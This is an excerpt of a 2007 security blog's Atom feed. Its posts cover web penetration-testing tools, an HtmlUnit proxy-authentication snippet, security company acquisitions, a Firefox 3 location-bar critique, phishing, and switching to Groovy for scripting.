rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-911812553347325031</id><published>2007-06-25T22:57:00.001Z</published><updated>2007-06-25T23:10:06.966Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='pen testing'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>HTML Unit</title><content type='html'>In a previous post, I mentioned that &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/06/mitm-proxies-and-other-tools.html"&gt;HTML Unit&lt;/a&gt; uses &lt;a href="http://jakarta.apache.org/commons/httpclient"&gt;Commons HTTPClient&lt;/a&gt;, but wasn't certain if the HTTPClient objects were exposed.  As it turns out, the HttpState is exposed - client.webConnection.state will get you there.  There are warnings all through the javadoc that this may be gone tomorrow, use at your own risk, but for the time being, that's how you can get through authenticated proxies.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;pre&gt;wc = new WebClient(BrowserVersion.MOZILLA_1_0, '127.0.0.1', 8080)&lt;br /&gt;state = wc.webConnection.state&lt;br /&gt;state.setProxyCredentials(AuthScope.ANY,&lt;br /&gt; new UsernamePasswordCredentials('user','password))&lt;br /&gt;&lt;/pre&gt;Strangely,  there's not a way to set the proxy host and port after the client has been constructed (as far as I can tell), meaning you have to specify a browser version (which is just as well - you're mimicking a browser, why not fake the UserAgent as well?)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-911812553347325031?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/06/mitm-proxies-and-other-tools.html' title='HTML Unit'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/911812553347325031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/html-unit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/911812553347325031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/911812553347325031'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/html-unit.html' title='HTML Unit'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4278189159281757148</id><published>2007-06-25T17:42:00.000Z</published><updated>2007-06-25T18:44:26.053Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='pen testing'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>MITM Proxies - and other tools</title><content type='html'>&lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt; was letting us all know that &lt;a href="http://ha.ckers.org/blog/20070625/burp-proxy-call-for-requests/"&gt;Portswigger&lt;/a&gt; is taking requests for new features for &lt;a href="http://www.blogger.com/www.portswigger.net/proxy/"&gt;Burp&lt;/a&gt;.  Burp proxy is one of a handful of tools that you &lt;span style="font-weight: bold;"&gt;must&lt;/span&gt; have in your toolbelt for doing manual assessments.  Funny how I've never shared what I have in my manual assessment toolbelt:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MITM proxy - my standard is &lt;a href="http://www.parosproxy.org/index.shtml"&gt;Paros&lt;/a&gt;, but also keep installs of &lt;a href="http://www.portswigger.net/proxy/"&gt;Burp&lt;/a&gt; and &lt;a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"&gt;WebScarab&lt;/a&gt;.  What you need first and foremost is a proxy that works.  Each of them have pros and cons as far as being able to reliably connect under various circumstances.  If you're consulting or dealing with vendor apps, you'll probably use all of them at different times to deal with different proxy configurations (I mean corporate proxy, not MITM proxy), host authentication methods, SSL, etc.  If the site is SSL and has applets, you'll need one that you can easily modify (this is why I use Paros) so you can change which keystore it uses and make a hacked self-signed cert.  Next time I have to do something like this, I'll write a blog post about it.  It's not hard, but it's not obvious, either.&lt;/li&gt;&lt;li&gt;Scripting language - I prefer &lt;a href="http://groovy.codehaus.org/"&gt;groovy&lt;/a&gt; now.  Some assessors I know never once write a single line of script.  I can't do a single assessment without writing some amount of it.  Some people prefer &lt;a href="http://python.org/"&gt;Python&lt;/a&gt;, and I just stopped using &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt; a year or so ago.  I don't know if &lt;a href="http://www.ruby-lang.org/en/"&gt;Ruby &lt;/a&gt;has the libraries it needs to make it through various authentication and proxy schemes yet, but I'm sure it will be soon.  I switched to Java-based languages because of all the different hoops I have to go through for assessments - &lt;a href="http://jakarta.apache.org/commons/httpclient/"&gt;Commons HTTPClient&lt;/a&gt; can get me there, no matter the circumstances.  The Java API's for HTML parsing are less than snappy, but adequate (maybe another post on that), but lately I've started using &lt;a href="http://people.apache.org/%7Eandyc/neko/doc/html/"&gt;NekoHTML&lt;/a&gt; which balances HTML tags and such to turn it into something you can use XML parsing on, and this weekend finally got around to playing with &lt;a href="http://htmlunit.sourceforge.net/"&gt;HTMLUnit&lt;/a&gt; (which uses &lt;a href="http://jakarta.apache.org/commons/httpclient/"&gt;Commons HTTPClient&lt;/a&gt; and &lt;a href="http://people.apache.org/%7Eandyc/neko/doc/html/"&gt;NekoHTML&lt;/a&gt;) - and it makes a lot of tasks a lot easier.  It even parses and executes JavaScript, but I've had issues with a few sites (sites with Google Ads in particular), with the Javascript parsing, so I just disable it there.&lt;/li&gt;&lt;li&gt;A good text editor.  A &amp;quot;good&amp;quot; text editor is critical just because my editor ends up being my &amp;quot;landing zone&amp;quot; for everything.  So you want your text editor to have some of the following features:  regex search and replace (absolute must), macro ability (you never know when you need to just cobble something together), tabbed interface, column editing (you'd be surprised how many times I use just this one feature in an assessment).  Right now, I'm pretty well stuck with &lt;a href="http://jedit.org/"&gt;jEdit&lt;/a&gt;, but prior to that I used &lt;a href="http://idmcomp.com/"&gt;UltraEdit&lt;/a&gt; exclusively.  I tend to like JEdit now simply because of one feature - &lt;a href="http://beanshell.org"&gt;Beanshell&lt;/a&gt; is built in.  This is handy in two places - the first is for encoding and decoding - I've written a handful of macros for doing encoding and decoding (hex-&gt;binary, binary-&gt;hex, digests, HTML encoding, URL encoding, Base-64, etc.) - but your proxy may also provide this - just nice not to have to switch.  And you can make the results of a search and make the replacement the evaluation of a beanshell script, which is handy when dealing with obfuscated code.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.mozilla.com/en-US/firefox/"&gt;Firefox&lt;/a&gt; with &lt;span style="font-weight: bold;"&gt;at least&lt;/span&gt; &lt;a href="http://livehttpheaders.mozdev.org/"&gt;LiveHTTPHeaders&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/125"&gt;SwitchProxy&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/59"&gt;User Agent Switcher&lt;/a&gt;, and &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1843"&gt;Firebug&lt;/a&gt;.  What I ended up doing is using a hacked up &lt;a href="http://portableapps.com/apps/internet/firefox_portable"&gt;Portable Firefox&lt;/a&gt; for doing assessments, and my primary day-to-day firefox doesn't include all the extensions.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gimp.org/"&gt;The Gimp&lt;/a&gt;.  May seem live overkill when you just need screenshots, but you also needs something that can do a really good Gaussian Blur or similar for redacting.  With a normal desktop paintbrush, redacting means putting an ugly black bar in front, which for a finalized report doesn't look that great.  You want something you can annotate with and make pretty red circles.&lt;/li&gt;&lt;li&gt;I've thought about desktop recording software, and I've seen some really nice ones with voice recording and graphical annotations, but you can't put a video in a printed document, so it's not something I've used a great deal.&lt;/li&gt;&lt;li&gt;The &lt;a href="http://ha.ckers.org/xss.html"&gt;XSS Cheat Sheet&lt;/a&gt;.  I wish there were SQL Injection (or LDAP Injection, or name that Injection) equivalent for all the various RDMBS out there, but doing a little research on the specific RDBMS and a good set of encoders will get you far.&lt;/li&gt;&lt;li&gt;There's just no substitute for being able to figure out what's going on in the backend.  The more opportunity you have to turn your blackbox test into a graybox test, the better your chances of getting a really good exploit.  There's not a tool for that, but just know that it's hard to train somebody to be a truly 1337 hacker who doesn't understand a lot about the systems it runs on - application level or OS level.  So that being said, there's no substitute for research.&lt;/li&gt;&lt;/ul&gt;What tools did I miss (besides Telnet?)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4278189159281757148?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ha.ckers.org/blog/20070625/burp-proxy-call-for-requests/' title='MITM Proxies - and other tools'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4278189159281757148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/mitm-proxies-and-other-tools.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4278189159281757148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4278189159281757148'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/mitm-proxies-and-other-tools.html' title='MITM Proxies - and other tools'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5232194482186180168</id><published>2007-06-20T15:14:00.000Z</published><updated>2007-07-17T17:42:53.058Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Security Company Acquisitions</title><content type='html'>With the two most recent security firm acquisitions (&lt;a href="http://www.ibm.com/"&gt;IBM&lt;/a&gt; &lt;a href="http://www-306.ibm.com/software/rational/welcome/watchfire/"&gt;acquiring&lt;/a&gt; &lt;a href="http://watchfire.com/"&gt;Watchfire&lt;/a&gt; and &lt;a href="http://hp.com/"&gt;HP&lt;/a&gt; &lt;a href="http://www.hp.com/hpinfo/newsroom/press/2007/070619xb.html"&gt;acquiring &lt;/a&gt;&lt;a href="http://spidynamics.com/"&gt;SPI Dynamics&lt;/a&gt;), I thought it was time to chime in and give my .02 USD on the matter.&lt;br /&gt;&lt;br /&gt;In general, I don't like these types of acquisitions.  Not sure why I'm such a softy for small businesses, but I am.  I try to eat at local restaurants, like to shop at the local hardware store, and strangely buy my car insurance by visiting a local agent (even if they are providing insurance from one of the big companies).  And both of the companies being acquired got their starts with products written by people down in the trenches - these types of acquisitions always make me fear that the parent corporation will stymie the creativity of the smaller.&lt;br /&gt;&lt;br /&gt;But in both of these cases, I see two potential benefits that are unusual - the planets happen to be in the right alignment right now:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Both security companies, on their own, sell their products &amp;quot;in a box&amp;quot;.  They tell you it's infinitely configurable, and they can consult to help you suit the tool to fit your needs, but because they're smaller companies and don't have a whole lot of consultants, having an onsite consultant full time is not the norm with them.  Certainly, out of the box, both their flagship products are simple enough to get base work going, and they both have excellent support for customizing, but other software products I've worked with in the past had a full-time consultant on-site training the operators, writing customized solutions, and so forth.  These two companies moving into more &amp;quot;consulting-focused&amp;quot; parent companies may help companies with the resources to have highly-customized solutions based on their tools.  That's not to say that either company couldn't (or didn't) customize well on their own, but it's a much more clear option once the bigger companies are up to speed on the products the companies bring in.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;With &amp;quot;marquee names&amp;quot; in IT infrastructure, support, development, and consulting buying up security firms, it &lt;span style="font-weight: bold;"&gt;may&lt;/span&gt; have a side-effect of making security more of a front-page thought for development firms.  If they already have a relationship with IBM or HP, security may become a natural discussion as part of those relationships.  And hopefully the really smart guys at the smaller companies can get some instant development cycles to help them to develop their really bright ideas more.&lt;/li&gt;&lt;/ul&gt;I don't know that these two things will necessarily come true.  They might get bought up and quickly vaporized like most small brands that get bought out by larger firms.  But since the larger firms are buying up something they don't ordinarily do, maybe the smaller ones will have an opportunity for growth.&lt;br /&gt;&lt;br /&gt;I'm still hopeful that the other really sharp smaller firms out there don't get bought up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5232194482186180168?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5232194482186180168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/security-company-acquisitions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5232194482186180168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5232194482186180168'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/security-company-acquisitions.html' title='Security Company Acquisitions'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2976661730241098179</id><published>2007-06-12T13:12:00.000Z</published><updated>2007-06-12T13:33:56.188Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Some Games Can't Be Won</title><content type='html'>Play tic-tac-toe long enough, and you'll soon realize there's no real strategy to it - no outwitting your opponent.  The saying I've had for some time is that it's impossible to win at tic-tac-toe, but it is possible to lose.  You can't beat your opponent - your opponent can only beat themselves.  And if they make a mistake, it's not by some magical twist of strategy.  Maybe that's precisely what &lt;a href="http://imdb.com/title/tt0086567/"&gt;War&lt;/a&gt; &lt;a href="http://www.amazon.com/War-Games-Matthew-Broderick/dp/0792838467"&gt;Games&lt;/a&gt; was trying to get across.&lt;br /&gt;&lt;br /&gt;When I'm pessimistic, I think that the bad guys will always have more resources, a better economy, more attackers, and a better environment for creativity than the good guys.  And the real root cause of that is that they have competing models.  For security folks, they rarely work in an environment where security is the primary goal - they work in companies that make widgets, sell products, or provide a service.  And security is something they're compelled by standards organizations to employ.  Sometimes, if they're lucky, a security tool can give them a market advantage, but those opportunities are rare - their real competitive advantage comes directly from the things they're trying to sell.   The bad guys work in an environment where doing bad things to systems &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; the primary means of making money.  And the additional enticement of making a new cool 'sploit creates an environment where innovation is king.  So the bad guys have and almost infinite pool of free labor in script kiddies, and work very hard to get another almost infinite pool of resources in botnets.  So in my pessimism, I always think the bad guys will always win, we can only do what we can to try to reduce how much they win.&lt;br /&gt;&lt;br /&gt;But when I'm optimistic, I think of securing applications more like tic-tac-toe.  We can't win the security game (but that's not the goal - the goal is to win some other game - tic-tac-toe is just a small subset of it), and we just need to make sure that we don't make mistakes.  But to make the reduction of those mistakes as small as possible, it's best to eliminate them as early as possible.  Many argue that education is not the solution, and I partly agree.  Education is not the only solution, but it's a critical part of the best solution - where mistakes happen with lower frequency to begin with, leaving security practitioners more time to find those things that weren't so much typos as engineering mistakes (our nuclear power plant is completely secure - only fuel of a particular type, with a minimum quality, and only in certain amounts are let in.  But we built it on a faultline.)&lt;br /&gt;&lt;br /&gt;Today I'm more an optimist - we can't win the game, but for a time, there's a known route to preventing loss.  Maybe there's a difference between &amp;quot;secure&amp;quot; and &amp;quot;not insecure&amp;quot;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2976661730241098179?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2976661730241098179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/some-games-cant-be-won.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2976661730241098179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2976661730241098179'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/some-games-cant-be-won.html' title='Some Games Can&apos;t Be Won'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3610141058880506576</id><published>2007-06-06T14:45:00.001Z</published><updated>2007-06-06T14:55:54.706Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Firefox 3 Screen Mockups - One fix is no fix</title><content type='html'>One of the &lt;span style="font-weight: bold;"&gt;potential&lt;/span&gt; new features of Firefox 3 is that the location bar will be substantially changed.  One of the changes possibly on the plate is to gray out all of the location bar except for the domain + tld of the content.  I have two problems with this:&lt;br /&gt;&lt;br /&gt;1) If mysite.com has an XSS vulnerability, attackers, rather than sending the user to another site, will typically use mysite.com itself to render the new page they want.  So the result would look something like:&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;http://www.&lt;/span&gt;mygoodsite.com&lt;span style="color: rgb(102, 102, 102);"&gt;/redirect.foo?url=[maliciousscript]&lt;/span&gt;&lt;br /&gt;See the image at &lt;a href="http://people.mozilla.com/%7Efaaborg/files/20070602-firefox3UIFeatures/locationBar.jpg"&gt;http://people.mozilla.com/~faaborg/files/20070602-firefox3UIFeatures/locationBar.jpg&lt;/a&gt;&lt;br /&gt;And it would look like I was visiting goodsite.com.  Now, their reasoning for doing it was sound - sometimes when you visit a malicious site, they use visual cues in the location bar to make you think you're &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; at the malicious site.&lt;br /&gt;2) The location bar doesn't tell you where &lt;span style="font-weight: bold;"&gt;all&lt;/span&gt; the content is coming from.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3610141058880506576?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.mozilla.com/faaborg/2007/06/01/the-user-interface-of-firefox-3-features/' title='Firefox 3 Screen Mockups - One fix is no fix'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3610141058880506576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/firefox-3-screen-mockups-one-fix-is-no.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3610141058880506576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3610141058880506576'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/firefox-3-screen-mockups-one-fix-is-no.html' title='Firefox 3 Screen Mockups - One fix is no fix'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8310680768559177593</id><published>2007-06-05T01:28:00.000Z</published><updated>2007-06-05T01:42:06.399Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><category scheme='http://www.blogger.com/atom/ns#' term='other'/><title type='text'>In the Business for Too Long</title><content type='html'>I think I've been in the business for too long.  I distrust everybody.  I went camping last weekend, and as I'm walking back to the site from taking out some trash, a complete stranger walks up to me and starts making conversation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Well, I guess I'll stay on for another week.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;What's his angle?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  Really?  How long you been here for?&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Maybe he's just making small talk....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Well, since the last week of March.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;What's his angle?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  Really?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Yeah - got my RV parked here.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Maybe he's trying to make small talk.  Guess I'll make small talk.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  Really?  You in the permanent resident area?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Naw.  Parked over here.  Pay by the week.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;What's his angle?  Time to hit eject.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  Hmm...&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Yeah - paying $120 a week.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Okay - really time to hit eject, but this is too intriguing.  It &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; a holiday weekend.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;Really?&lt;/span&gt;  That's dirt cheap compared to what I'm paying for a tent site per night.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Okay - really oughn't have said that.  What's his angle again?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CS:&lt;/span&gt;  Well, it is when you're still making a house payment.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Wow!&lt;/span&gt;  Was &lt;/span&gt;that&lt;span style="font-style: italic;"&gt; his angle?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SV:&lt;/span&gt;  Well, gotta run.&lt;br /&gt;&lt;br /&gt;Now, the guy was really probably only making small talk.  He probably had no malicious intent, and was probably not even looking for a handout.  Those not in the field, or who are able to not take work home with them probably would have had a nice conversation with the guy.  Maybe my bravo sierra meter goes a bit too high...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nigel Tufnel&lt;/span&gt;: [&lt;span style="font-style: italic;"&gt;pause&lt;/span&gt;] These go to eleven.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8310680768559177593?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8310680768559177593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/in-business-for-too-long.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8310680768559177593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8310680768559177593'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/in-business-for-too-long.html' title='In the Business for Too Long'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8428408695715745730</id><published>2007-06-05T01:26:00.001Z</published><updated>2007-06-05T01:28:37.219Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Beef up your browser against phishing attempts</title><content type='html'>Or then again, don't click links in emails or trust links on blogs.&lt;br /&gt;&lt;br /&gt;It's really sad when those who have at least a modicum of technical savvy, who write blogs to those who generally don't, tell those who don't the very wrong thing to do.  I'm not saying anti-phishing tools are inherently bad, but depending on them is.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8428408695715745730?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://lifehacker.com/software/phishing/-265753.php' title='Beef up your browser against phishing attempts'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8428408695715745730/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/beef-up-your-browser-against-phishing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8428408695715745730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8428408695715745730'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/beef-up-your-browser-against-phishing.html' title='Beef up your browser against phishing attempts'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1637571043817941389</id><published>2007-06-03T23:23:00.001Z</published><updated>2007-06-03T23:56:50.274Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='groovy'/><title type='text'>Going off the Rails on a Groovy Train - Part 2</title><content type='html'>Well, in &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/05/going-of-rails-on-groovy-train-part-1.html"&gt;Part 1&lt;/a&gt;, I promised to explain why I went back to Groovy after ignoring it for so long.  But to explain that would be to explain a whole bunch of other stuff.  While not completely security related, it might be interesting for developers to see the thought process that makes a wishy-washy person like me jump ships on languages.&lt;br /&gt;&lt;br /&gt;First, I'm &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; a religious zealot about languages.  To me, languages are just tools, and learning a new language is a matter of learning syntax, and how to find the libraries I need to do the job.&lt;br /&gt;&lt;br /&gt;For the longest time, I was a Perl coder - er....line noise coder.  My code was write-only.  In Java parlance, write once, ignore forevermore.  The two major benefits of perl for me were availability of libraries and documentation for those libraries (owing to perl's maturity), and syntactical sugar.  (Of course, I didn't know the benefits of the second until I couldn't use it anymore).&lt;br /&gt;&lt;br /&gt;I used perl a &lt;span style="font-weight: bold;"&gt;lot&lt;/span&gt;.  But for pen testing, I kept coming into situations where it wouldn't cut it anymore - almost always due to finicky proxy requirements.  I could do SSL, I could do proxy, I could do NTLM autentication, but I always seemed to have issues dealing with combinations of the three.  And it seemed that many, many pen tests had something come up that required some scripting and that the tools out there simply couldn't handle.&lt;br /&gt;&lt;br /&gt;So for one assessment I tried out &lt;a href="http://jakarta.apache.org/commons/httpclient/"&gt;Commons HttpClient&lt;/a&gt; with &lt;a href="http://beanshell.org/"&gt;Beanshell&lt;/a&gt;.  I had been using Java and Struts for web development for awhile, so the transition to Beanshell was natural.  And HttpClient did exactly what I needed when I couldn't seem to make Perl do it.  (My apologies to the perl people for giving up so easily, but I had an immediate need.  And my apologies to the Python people because I prolly never gave Python a fair shake).&lt;br /&gt;&lt;br /&gt;So I stuck with beanshell and HttpClient for awhile.  But beanshell never really made me happy.  While a dynamically-typed java was nicer, it never got to feel like a scripting language because I still didn't have a lot of syntactical sugar.  My colleagues jumped on the Ruby bandwagon quickly, and I jumped off as quickly because the two things I needed to be able to do with it were difficult to find libraries for.  And in fact, did a lot of assessment work where I'd use beanshell to do the http plumbing, and perl to do the parsing because parsing HTML in Java is so un-natural - possible, but not natural.&lt;br /&gt;&lt;br /&gt;I'm not sure why I gave up on groovy so long ago.  I'm not sure why that one afternoon I dusted off beanshell instead of dusting off groovy, but I wish I had picked groovy then.  A couple of weeks ago, I decided to look at groovy again when I had had enough with beanshell, and I was floored.  It was like magic.  All the library maturity of Java (I still get to use Jakarta stuff) with all the syntactical 